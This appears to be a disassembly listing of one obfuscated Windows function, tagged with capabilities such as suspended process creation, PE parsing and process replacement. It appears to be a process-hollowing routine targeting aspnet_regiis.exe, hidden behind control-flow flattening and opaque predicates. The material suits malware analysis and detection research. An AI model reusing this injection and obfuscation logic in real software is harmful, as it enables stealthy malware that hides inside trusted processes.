Function at 0x100069c0
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Hide graphical window
Parse pe header
Resume thread
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x170
mov eax, dword [0x1006d200]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x178], 0x49b25ee8
mov eax, dword [ebp - 0x178]
mov dword [ebp - 0x17c], eax
sub eax, 0x80ce3b67
je 0x100094ca
jmp 0x100069fc
mov eax, dword [ebp - 0x17c]
sub eax, 0x82d2377a
je 0x1000e50c
jmp 0x10006a12
mov eax, dword [ebp - 0x17c]
sub eax, 0x83576c74
je 0x1000b7a9
jmp 0x10006a28
mov eax, dword [ebp - 0x17c]
sub eax, 0x8370523e
je 0x1000d07b
jmp 0x10006a3e
mov eax, dword [ebp - 0x17c]
sub eax, 0x8403c901
je 0x1000b27e
jmp 0x10006a54
mov eax, dword [ebp - 0x17c]
sub eax, 0x844f3e30
je 0x1000e75e
jmp 0x10006a6a
mov eax, dword [ebp - 0x17c]
sub eax, 0x85519826
je 0x1000c02b
jmp 0x10006a80
mov eax, dword [ebp - 0x17c]
sub eax, 0x86abf0de
je 0x1000b0e3
jmp 0x10006a96
mov eax, dword [ebp - 0x17c]
sub eax, 0x874a2476
je 0x1000bf82
jmp 0x10006aac
mov eax, dword [ebp - 0x17c]
sub eax, 0x8777aa0f
je 0x1000a679
jmp 0x10006ac2
mov eax, dword [ebp - 0x17c]
sub eax, 0x87f17b11
je 0x1000a1f1
jmp 0x10006ad8
mov eax, dword [ebp - 0x17c]
sub eax, 0x881b68c8
je 0x1000bfdf
jmp 0x10006aee
mov eax, dword [ebp - 0x17c]
sub eax, 0x89c43d62
je 0x1000dd62
jmp 0x10006b04
mov eax, dword [ebp - 0x17c]
sub eax, 0x8a459a42
je 0x1000d9b7
jmp 0x10006b1a
mov eax, dword [ebp - 0x17c]
sub eax, 0x8b1781bd
je 0x10008fe1
jmp 0x10006b30
mov eax, dword [ebp - 0x17c]
sub eax, 0x8b77d201
je 0x1000b3d0
jmp 0x10006b46
mov eax, dword [ebp - 0x17c]
sub eax, 0x8b92219b
je 0x10009d29
jmp 0x10006b5c
mov eax, dword [ebp - 0x17c]
sub eax, 0x8ba704d9
je 0x1000b87c
jmp 0x10006b72
mov eax, dword [ebp - 0x17c]
sub eax, 0x8c2d0a12
je 0x1000a2fa
jmp 0x10006b88
mov eax, dword [ebp - 0x17c]
sub eax, 0x8c6d0b64
je 0x1000b004
jmp 0x10006b9e
mov eax, dword [ebp - 0x17c]
sub eax, 0x8d14f045
je 0x1000b120
jmp 0x10006bb4
mov eax, dword [ebp - 0x17c]
sub eax, 0x8dae138d
je 0x1000a113
jmp 0x10006bca
mov eax, dword [ebp - 0x17c]
sub eax, 0x8e35da1b
je 0x1000a92a
jmp 0x10006be0
mov eax, dword [ebp - 0x17c]
sub eax, 0x912f0dfe
je 0x1000d222
jmp 0x10006bf6
mov eax, dword [ebp - 0x17c]
sub eax, 0x93ed704e
je 0x1000986d
jmp 0x10006c0c
mov eax, dword [ebp - 0x17c]
sub eax, 0x94d7b646
je 0x1000abf4
jmp 0x10006c22
mov eax, dword [ebp - 0x17c]
sub eax, 0x95b7a81f
je 0x1000e207
jmp 0x10006c38
mov eax, dword [ebp - 0x17c]
sub eax, 0x963d6e0e
je 0x1000cac9
jmp 0x10006c4e
mov eax, dword [ebp - 0x17c]
sub eax, 0x96df05d8
je 0x1000aec3
jmp 0x10006c64
mov eax, dword [ebp - 0x17c]
sub eax, 0x96f8e38d
je 0x1000b2c7
jmp 0x10006c7a
mov eax, dword [ebp - 0x17c]
sub eax, 0x9795ac3c
je 0x1000af60
jmp 0x10006c90
mov eax, dword [ebp - 0x17c]
sub eax, 0x98177d70
je 0x1000aea6
jmp 0x10006ca6
mov eax, dword [ebp - 0x17c]
sub eax, 0x9ab1070a
je 0x1000bfa1
jmp 0x10006cbc
mov eax, dword [ebp - 0x17c]
sub eax, 0x9ac09900
je 0x1000a80e
jmp 0x10006cd2
mov eax, dword [ebp - 0x17c]
sub eax, 0x9ad5e20c
je 0x1000c617
jmp 0x10006ce8
mov eax, dword [ebp - 0x17c]
sub eax, 0x9ae5b4c9
je 0x1000e4be
jmp 0x10006cfe
mov eax, dword [ebp - 0x17c]
sub eax, 0x9bd23e6b
je 0x1000c91c
jmp 0x10006d14
mov eax, dword [ebp - 0x17c]
sub eax, 0x9c941782
je 0x1000da85
jmp 0x10006d2a
mov eax, dword [ebp - 0x17c]
sub eax, 0x9d57a16d
je 0x1000d2a6
jmp 0x10006d40
mov eax, dword [ebp - 0x17c]
sub eax, 0x9f319741
je 0x1000e788
jmp 0x10006d56
mov eax, dword [ebp - 0x17c]
sub eax, 0xa11d7483
je 0x1000b69e
jmp 0x10006d6c
mov eax, dword [ebp - 0x17c]
sub eax, 0xa122da4d
je 0x1000a532
jmp 0x10006d82
mov eax, dword [ebp - 0x17c]
sub eax, 0xa1b2f05b
je 0x10008f4c
jmp 0x10006d98
mov eax, dword [ebp - 0x17c]
sub eax, 0xa20569db
je 0x1000e34a
jmp 0x10006dae
mov eax, dword [ebp - 0x17c]
sub eax, 0xa28df69b
je 0x1000c059
jmp 0x10006dc4
mov eax, dword [ebp - 0x17c]
sub eax, 0xa3ef5c8c
je 0x1000d4b8
jmp 0x10006dda
mov eax, dword [ebp - 0x17c]
sub eax, 0xa42e8370
je 0x1000a0b8
jmp 0x10006df0
mov eax, dword [ebp - 0x17c]
sub eax, 0xa435ba82
je 0x10008fd2
jmp 0x10006e06
mov eax, dword [ebp - 0x17c]
sub eax, 0xa44139cd
je 0x1000e6d5
jmp 0x10006e1c
mov eax, dword [ebp - 0x17c]
sub eax, 0xa5264e4d
je 0x1000df42
jmp 0x10006e32
mov eax, dword [ebp - 0x17c]
sub eax, 0xa55f3027
je 0x1000a3f1
jmp 0x10006e48
mov eax, dword [ebp - 0x17c]
sub eax, 0xa59d4e45
je 0x1000c66f
jmp 0x10006e5e
mov eax, dword [ebp - 0x17c]
sub eax, 0xa63aef7c
je 0x1000adc7
jmp 0x10006e74
mov eax, dword [ebp - 0x17c]
sub eax, 0xa6530c44
je 0x1000b3c1
jmp 0x10006e8a
mov eax, dword [ebp - 0x17c]
sub eax, 0xa70b02b5
je 0x100096a1
jmp 0x10006ea0
mov eax, dword [ebp - 0x17c]
sub eax, 0xa7900dd1
je 0x10009122
jmp 0x10006eb6
mov eax, dword [ebp - 0x17c]
sub eax, 0xa8a219a1
je 0x10009d38
jmp 0x10006ecc
mov eax, dword [ebp - 0x17c]
sub eax, 0xa8c5a276
je 0x1000c198
jmp 0x10006ee2
mov eax, dword [ebp - 0x17c]
sub eax, 0xa9045381
je 0x10009ff9
jmp 0x10006ef8
mov eax, dword [ebp - 0x17c]
sub eax, 0xa916243e
je 0x1000b5a3
jmp 0x10006f0e
mov eax, dword [ebp - 0x17c]
sub eax, 0xaa84a954
je 0x1000c56b
jmp 0x10006f24
mov eax, dword [ebp - 0x17c]
sub eax, 0xab8a2540
je 0x1000cccd
jmp 0x10006f3a
mov eax, dword [ebp - 0x17c]
sub eax, 0xabb38f71
je 0x1000a9c4
jmp 0x10006f50
mov eax, dword [ebp - 0x17c]
sub eax, 0xac1137c1
je 0x1000e5be
jmp 0x10006f66
mov eax, dword [ebp - 0x17c]
sub eax, 0xac4a0bab
je 0x1000a48e
movss xmm0, dword [0x1001b228]
movss dword [ebp - 0x110], xmm0
mov ecx, dword [0x1006e528]
mov eax, dword [0x1006e524]
mov edx, ecx
sub edx, 0x233264d7
sub edx, 1
add edx, 0x233264d7
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x7ceda038
mov ecx, 0xa435ba82
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x178], eax
jmp 0x1000e83f
mov dword [ebp - 0x178], 0x8b1781bd
jmp 0x1000e83f
mov dl, 1
mov eax, 0xe50b90d9
mov ecx, 0x6a44a4e4
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x178], eax
jmp 0x1000e83f
mov dl, 1
mov eax, 0x516a65c9
mov ecx, 0x20a441bf
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x178], eax
jmp 0x1000e83f
movss xmm0, dword [0x1001b384]
movss dword [ebp - 0x110], xmm0
mov dword [ebp - 0x178], 0x7d3e989a
jmp 0x1000e83f
movss xmm0, dword [0x1001b214]
movss dword [ebp - 0x114], xmm0
mov ecx, dword [0x1006e528]
mov eax, dword [0x1006e524]
mov edx, ecx
add edx, 0xc4918073
sub edx, 1
sub edx, 0xc4918073
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xb2257b69
mov ecx, 0x515bfbbf
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x178], eax
jmp 0x1000e83f
movss xmm0, dword [0x1001b20c]
movss dword [ebp - 0x114], xmm0
mov ecx, dword [0x1006e528]
mov eax, dword [0x1006e524]
mov edx, ecx
add edx, 0x3fdaff42
sub edx, 1
sub edx, 0x3fdaff42
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xe825f931
mov ecx, 0x67fb1d0e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x178], eax
jmp 0x1000e83f
mov dword [ebp - 0x178], 0xa8a219a1
jmp 0x1000e83f
mov ecx, dword [0x1006e528]
mov eax, dword [0x1006e524]
mov edx, ecx
sub edx, 0xaa7b9574
sub edx, 1
add edx, 0xaa7b9574
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xe39c876e
mov ecx, 0xe2d850ee
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x178], eax
jmp 0x1000e83f
mov ecx, dword [0x1006e528]
mov eax, dword [0x1006e524]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xe78f3b2d
mov ecx, 0x5ab09b21
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x178], eax
jmp 0x1000e83f
mov dl, 1
mov eax, 0x8dae138d
mov ecx, 0x14f26717
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x178], eax
jmp 0x1000e83f
mov ecx, dword [0x1006e528]
mov eax, dword [0x1006e524]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xef822072
mov ecx, 0xd770d42f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x178], eax
jmp 0x1000e83f
mov ecx, dword [0x1006e528]
mov eax, dword [0x1006e524]
mov edx, ecx
sub edx, 0x8a55a63d
sub edx, 1
add edx, 0x8a55a63d
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x95b7a81f
mov ecx, 0xfbfd724a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x178], eax
jmp 0x1000e83f
mov eax, dword [0x1006e528]
mov ecx, dword [0x1006e524]
mov edx, eax
sub edx, 0x7e97d98a
sub edx, 1
add edx, 0x7e97d98a
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x36b0055a
mov ecx, 0xcde6c3fb
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x178], eax
jmp 0x1000e83f
mov dl, 1
mov eax, 0x54182c3a
mov ecx, 0xaf20c0c4
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x178], eax
jmp 0x1000e83f
mov dl, 1
mov eax, 0x8777aa0f
mov ecx, 0xf118d78
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x178], eax
jmp 0x1000e83f
movss xmm0, dword [0x1001b318]
movss dword [ebp - 0x11c], xmm0
mov dword [ebp - 0x178], 0x1e43a1eb
jmp 0x1000e83f
movss xmm0, dword [0x1001b308]
movss dword [ebp - 0x11c], xmm0
movss xmm0, dword [0x1001b304]
movss dword [ebp - 0x11c], xmm0
mov dword [ebp - 0x178], 0x8fcee18
jmp 0x1000e83f
mov eax, dword [0x1006e528]
mov ecx, dword [0x1006e524]
mov edx, eax
add edx, 0x51d3da0b
sub edx, 1
sub edx, 0x51d3da0b
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x5d2a941c
mov ecx, 0xebbc547f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x178], eax
jmp 0x1000e83f
mov dl, 1
mov eax, 0xe6893fdf
mov ecx, 0x4063a77e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x178], eax
jmp 0x1000e83f
mov dl, 1
mov eax, 0xb68ddce1
mov ecx, 0x4aea3c4f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x178], eax
jmp 0x1000e83f
mov ecx, dword [0x1006e528]
mov eax, dword [0x1006e524]
mov edx, ecx
add edx, 0xbef72809
sub edx, 1
sub edx, 0xbef72809
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xe47f909a
mov ecx, 0xd76c413c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x178], eax
jmp 0x1000e83f
mov dl, 1
mov eax, 0xd7f64a14
mov ecx, 0x96df05d8
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x178], eax
jmp 0x1000e83f
movss xmm0, dword [0x1001b2e4]
movss dword [ebp - 0x120], xmm0
movss xmm0, dword [0x1001b2e0]
movss dword [ebp - 0x120], xmm0
mov dword [ebp - 0x178], 0xe353be52
jmp 0x1000e83f
mov ecx, dword [0x1006e528]
mov eax, dword [0x1006e524]
mov edx, ecx
sub edx, 0x22f319e1
sub edx, 1
add edx, 0x22f319e1
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xe6fef17d
mov ecx, 0xb197f64
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x178], eax
jmp 0x1000e83f
mov dl, 1
mov eax, 0x32b75f86
mov ecx, 0xdbded645
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x178], eax
jmp 0x1000e83f
mov dword [ebp - 0x178], 0x3f54ced1
jmp 0x1000e83f
mov dl, 1
mov eax, 0x37cb2acf
mov ecx, 0x79624252
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x178], eax
jmp 0x1000e83f
mov eax, dword [0x1006e528]
mov ecx, dword [0x1006e524]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x458a3434
mov ecx, 0x96f8e38d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x178], eax
jmp 0x1000e83f
movss xmm0, dword [0x1001b1c8]
movss dword [ebp - 0x120], xmm0
movss xmm0, dword [0x1001b1c4]
movss dword [ebp - 0x120], xmm0
mov eax, dword [0x1006e528]
mov ecx, dword [0x1006e524]
mov edx, eax
add edx, 0x5aaf5de3
sub edx, 1
sub edx, 0x5aaf5de3
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x458a3434
mov ecx, 0x2313f2c6
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x178], eax
jmp 0x1000e83f
mov dword [ebp - 0x178], 0x8b77d201
jmp 0x1000e83f
movss xmm0, dword [0x1001b2c0]
movss dword [ebp - 0x124], xmm0
movss xmm0, dword [0x1001b2bc]
movss dword [ebp - 0x124], xmm0
movss xmm0, dword [0x1001b2b8]
movss dword [ebp - 0x124], xmm0
mov dword [ebp - 0x178], 0xc43c20e3
jmp 0x1000e83f
movss xmm0, dword [0x1001b2a4]
movss dword [ebp - 0x124], xmm0
mov dword [ebp - 0x178], 0x6200249e
jmp 0x1000e83f
mov ecx, dword [0x1006e528]
mov eax, dword [0x1006e524]
mov edx, ecx
add edx, 0x7223c2af
sub edx, 1
sub edx, 0x7223c2af
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x4cfba8a3
mov ecx, 0x54e6c9c9
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x178], eax
jmp 0x1000e83f
movss xmm0, dword [0x1001b2a0]
movss dword [ebp - 0x124], xmm0
mov dword [ebp - 0x178], 0x61d9ee7d
jmp 0x1000e83f
mov ecx, dword [0x1006e528]
mov eax, dword [0x1006e524]
mov edx, ecx
sub edx, 0xc972bf23
sub edx, 1
add edx, 0xc972bf23
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x1f91f43a
mov ecx, 0x3585fb23
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x178], eax
jmp 0x1000e83f
movss xmm0, dword [0x1001b278]
movss dword [ebp - 0x128], xmm0
mov dword [ebp - 0x178], 0x9ab1070a
jmp 0x1000e83f
movss xmm0, dword [0x1001b274]
movss dword [ebp - 0x128], xmm0
mov dword [ebp - 0x178], 0xcb159592
jmp 0x1000e83f
mov dl, 1
mov eax, 0xb2102371
mov ecx, 0x14c26c5
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x178], eax
jmp 0x1000e83f
mov dword [ebp - 0x178], 0xb2102371
jmp 0x1000e83f
mov dl, 1
mov eax, 0xa8c5a276
mov ecx, 0xd29ee292
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x178], eax
jmp 0x1000e83f
movss xmm0, dword [0x1001b260]
movss dword [ebp - 0x12c], xmm0
mov dword [ebp - 0x178], 0x250882ed
jmp 0x1000e83f
mov dword [ebp - 0x178], 0x387391fc
jmp 0x1000e83f
mov eax, dword [0x1006e528]
mov ecx, dword [0x1006e524]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xe940cc8a
mov ecx, 0x48763258
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x178], eax
jmp 0x1000e83f
movss xmm0, dword [0x1001b234]
movss dword [ebp - 0x12c], xmm0
mov dword [ebp - 0x178], 0x58f0246c
jmp 0x1000e83f
lea eax, str.C:WindowsMicrosoft.NETFramework_v4.0.30319_aspnet_regiis.exe
mov dword [ebp - 0x144], eax
mov dword [ebp - 0x178], 0x3e8c1f3c
jmp 0x1000e83f
xor eax, eax
sub esp, 0x10
mov dword [esp], 0
mov dword [esp + 4], 4
mov dword [esp + 8], 0x1000
mov dword [esp + 0xc], 4
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0x138], eax
mov eax, dword [ebp - 0x138]
mov dword [eax], 0x10007
mov eax, dword [ebp - 0x138]
mov dword [ebp - 0xd4], eax
lea eax, [ebp - 0x20]
add eax, 4
mov dword [ebp - 0xd0], eax
mov ecx, dword [0x1006e528]
mov eax, dword [0x1006e524]
mov edx, ecx
sub edx, 0x6847e138
sub edx, 1
add edx, 0x6847e138
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xac1137c1
mov ecx, 0x6af84dc7
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x178], eax
jmp 0x1000e83f
mov dword [ebp - 0x178], 0x47c62d06
jmp 0x1000e83f
mov eax, dword [ebp - 0xfc]
mov ecx, dword [ebp - 0xb8]
mov dword [eax], ecx
mov eax, dword [ebp - 0x104]
mov edx, dword [eax]
mov esi, dword [ebp - 0x174]
mov eax, dword [ebp - 0x100]
imul eax, dword [eax], 0x28
add esi, eax
mov eax, 0x9d57a16d
mov ecx, 0xe831b966
cmp edx, dword [esi + 0xc]
cmovae eax, ecx
mov dword [ebp - 0x178], eax
jmp 0x1000e83f
mov eax, dword [ebp - 0x130]
mov dword [ebp - 0xa8], eax
mov eax, dword [ebp - 0x174]
mov ecx, dword [ebp - 0x100]
imul ecx, dword [ecx], 0x28
add eax, ecx
mov eax, dword [eax + 0x14]
mov dword [ebp - 0xa4], eax
mov dword [ebp - 0x178], 0xef442852
jmp 0x1000e83f
mov dword [ebp - 0x178], 0x19f22b13
jmp 0x1000e83f
mov ecx, dword [0x1006e528]
mov eax, dword [0x1006e524]
mov edx, ecx
add edx, 0xcb58308e
sub edx, 1
sub edx, 0xcb58308e
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xd3ce8131
mov ecx, 0xb786f323
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x178], eax
jmp 0x1000e83f
mov dword [ebp - 0x178], 0xd79d5ed3
jmp 0x1000e83f
mov eax, dword [0x1006e528]
mov ecx, dword [0x1006e524]
mov edx, eax
sub edx, 0x99cc7ea0
sub edx, 1
add edx, 0x99cc7ea0
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x8174dd4
mov ecx, 0x5aa50452
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x178], eax
jmp 0x1000e83f
mov ecx, dword [ebp - 0x148]
add ecx, 0x90c3e542
add ecx, 8
sub ecx, 0x90c3e542
mov edx, dword [ebp - 0x20]
lea eax, [ebp - 0x68]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov eax, dword [ebp - 0x68]
mov dword [ebp - 0x6c], eax
mov ecx, dword [0x1006e528]
mov eax, dword [0x1006e524]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xe767f124
mov ecx, 0x2f8683ff
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x178], eax
jmp 0x1000e83f
mov eax, dword [0x1006e528]
mov ecx, dword [0x1006e524]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x411a82cf
mov ecx, 0xe44cb89c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x178], eax
jmp 0x1000e83f
mov dword [ebp - 0x178], 0xfbfd724a
jmp 0x1000e83f
movss xmm0, dword [0x1001b1d4]
movss dword [ebp - 0x120], xmm0
movss xmm0, dword [0x1001b1d0]
movss dword [ebp - 0x120], xmm0
mov dword [ebp - 0x178], 0x6e1c65b2
jmp 0x1000e83f
movss xmm0, dword [0x1001b1a4]
movss dword [ebp - 0x128], xmm0
mov dword [ebp - 0x178], 0xd36ab72c
jmp 0x1000e83f
mov dword [ebp - 0x178], 0x6e77deec
jmp 0x1000e83f
xor eax, eax
sub esp, 0x10
mov dword [esp], 0
mov dword [esp + 4], 4
mov dword [esp + 8], 0x1000
mov dword [esp + 0xc], 4
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0x138], eax
mov eax, dword [ebp - 0x138]
mov dword [eax], 0x10007
mov dword [ebp - 0x178], 0x963d6e0e
jmp 0x1000e83f
mov eax, dword [ebp - 0x100]
mov dword [ebp - 0x178], 0xe57bff23
jmp 0x1000e83f
mov eax, dword [ebp - 0xf0]
mov eax, dword [ebp - 0xe4]
mov dword [ebp - 0x178], 0x30723798
jmp 0x1000e83f
mov eax, dword [ebp - 0xec]
mov dword [ebp - 0x178], 0x6f9aba53
jmp 0x1000e83f
jmp 0x100069e0